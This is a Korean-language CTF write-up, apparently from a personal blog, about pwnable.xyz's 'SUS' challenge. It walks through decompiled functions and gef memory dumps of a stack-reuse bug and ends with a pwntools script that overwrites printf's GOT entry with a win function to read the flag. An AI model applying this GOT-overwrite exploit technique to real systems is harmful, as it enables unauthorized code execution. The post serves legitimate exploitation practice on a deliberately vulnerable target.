pwnable.xyz - SUS
2021. 9. 30. 10:44ㆍPwnable
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
setup(argc, argv, envp);
puts("SUS - Single User Storage.");
while ( 1 )
{
while ( 1 )
{
print_menu();
printf("> ");
v3 = read_int32();
if ( v3 != 1 )
break;
create_user();
}
if ( v3 <= 1 )
break;
if ( v3 == 2 )
{
print_user();
}
else if ( v3 == 3 )
{
edit_usr();
}
else
{
LABEL_13:
puts("Invalid");
}
}
if ( v3 )
goto LABEL_13;
return 0;
}
일단 프로그램을 시켜보면
heap영역에서 익스플로잇을 하는 구조처럼 생겼다.
main함수를 분석해보면
처음 입력에 따라 분기문만 존재한다.
unsigned __int64 create_user()
{
void *s; // [rsp+0h] [rbp-1060h] BYREF
unsigned __int64 v2; // [rsp+1058h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( !s )
{
s = malloc(0x20uLL);
memset(s, 0, 0x20uLL);
}
printf("Name: ");
read(0, s, 0x20uLL);
printf("Age: ");
read_int32();
cur = (__int64)&s;
return __readfsqword(0x28u) ^ v2;
}
create_user 함수의 경우
- 0x20사이즈를 동적할당하고
- 초기화시켜준다.
- 이름을 입력받아서 해당 부분에 넣고(bof X)
- 나이를 입력받아서 ??
- cur 변수에 heap메모리의 주소를 넣는다.?!?!?
int print_user()
{
int result; // eax
result = cur;
if ( cur )
{
printf("User: %s\n", *(const char **)cur);
result = printf("Age: %d\n", *(unsigned int *)(cur + 72));
}
return result;
}
print_user 함수의 경우
cur주소에 있는 string을 읽어서 출력한다.
age의 경우 cur+72주소에 있는 값을 읽는다.
unsigned __int64 edit_usr()
{
__int64 v0; // rbx
unsigned __int64 v2; // [rsp+1018h] [rbp-18h]
v2 = __readfsqword(0x28u);
if ( cur )
{
printf("Name: ");
read(0, *(void **)cur, 0x20uLL);
printf("Age: ");
v0 = cur;
*(_DWORD *)(v0 + 72) = read_int32();
}
return __readfsqword(0x28u) ^ v2;
}
edit_usr함수의 경우
이름을 수정하고, age를 수정한다.
이름 수정떄도 bof가 발생하지 않고, age수정떄도 bof가 발생하지 않는다.
프로그램 내에서는 win함수를 직접적으로 호출하지는 않지만
프로그램상에는 win함수가 존재한다
int win()
{
return system("cat flag");
}
한참 메모리를 뒤적거려보다가
.bss:0000000000602268 cur dq ? ; DATA XREF: create_user+9D↑w
cur 이라는 변수는 0x0000000000602268에 위치하고 있고,
gef➤ x 0000000000602268
Invalid number "0000000000602268".
gef➤ x 0x0000000000602268
0x602268 <cur>: 0x00007ffdb5ee4910
gef➤ x 0x00007ffdb5ee4910
0x7ffdb5ee4910: 0x00000000011ca2a0
gef➤ x/20gx 0x00000000011ca2a0-0x10
0x11ca290: 0x0000000000000000 0x0000000000000031
0x11ca2a0: 0x4141414141414141 0x000000000000000a
0x11ca2b0: 0x0000000000000000 0x0000000000000000
0x11ca2c0: 0x0000000000000000 0x0000000000020d41
0x11ca2d0: 0x0000000000000000 0x0000000000000000
0x11ca2e0: 0x0000000000000000 0x0000000000000000
0x11ca2f0: 0x0000000000000000 0x0000000000000000
0x11ca300: 0x0000000000000000 0x0000000000000000
0x11ca310: 0x0000000000000000 0x0000000000000000
0x11ca320: 0x0000000000000000 0x0000000000000000
gef➤ heap chunks
Chunk(addr=0x11ca010, size=0x290, flags=PREV_INUSE)
[0x00000000011ca010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x11ca2a0, size=0x30, flags=PREV_INUSE)
[0x00000000011ca2a0 41 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 AAAAAAAA........]
Chunk(addr=0x11ca2d0, size=0x20d40, flags=PREV_INUSE) ← top chunk
gef➤
해당 위치에는 heap의 chunk 주소가 들어가 있다.
edit user(name : BBBBBBBB, age : AAAAAAAA)
를 해줬더니 메모리 구조가 아래처럼 됐다.
gef➤ x/10gx 0x00007ffdb5ee4910-0x10
0x7ffdb5ee4900: 0x4141414141414141 0x0000000000400a0a
0x7ffdb5ee4910: 0x00000000011ca2a0 0x0000000000000000
0x7ffdb5ee4920: 0x0000000000000000 0x7526aba595105200
0x7ffdb5ee4930: 0x00007ffdb5ee5970 0x0000000000400b3a
0x7ffdb5ee4940: 0x0000000000400c10 0x00007fdd7ffee190
메모리를 공유해서 사용해서 다른 함수에서 사용한 메모리가 오염되는 거 같은데..
위 처럼 메모리가 짜여져 있다면 0x11ca2a0 라는 값을 특정 함수의 got으로 넣은 후에 create를 해줄 때 name을 win의 함수 주소로 넣어주면 익스가 가능 할 것 같다.
payload
from pwn import *
r = remote("svc.pwnable.xyz", 30011)
e = ELF("./challenge")
printf_got = e.got['printf']
win_add = e.sym['win']
context.log_level = "debug"
r.sendlineafter("> ", "1")
r.sendlineafter("Name: ", "AAAA")
r.sendlineafter("Age: ", "20")
r.sendlineafter("> ", "3")
r.sendlineafter("Name: ", "AAAA")
r.sendlineafter("Age: ", "B"*0x10+p64(printf_got))
r.sendlineafter("> ", "1")
r.sendlineafter("Name: ", p64(win_add))
r.sendlineafter("Age: ", "20")
r.interactive()
풀기는 했지만 뭔가 꺼림직하다.
취약점이 발생하는 원인도 잘 모르겠고, 왜 이렇게 메모리 공유? 가 일어나게 되는지 다른 롸업들 살펴보면서 공부해야겠다...
'Pwnable' 카테고리의 다른 글
HackCTF - Unexploitable #4 (0) | 2021.10.15 |
---|---|
dreamhack.io - iofile_aw (0) | 2021.10.06 |
pwnable.xyz - TLSv00 (0) | 2021.09.29 |
dreamhack.io - tcache_dup (0) | 2021.09.26 |
pwnable.xyz - note (0) | 2021.09.11 |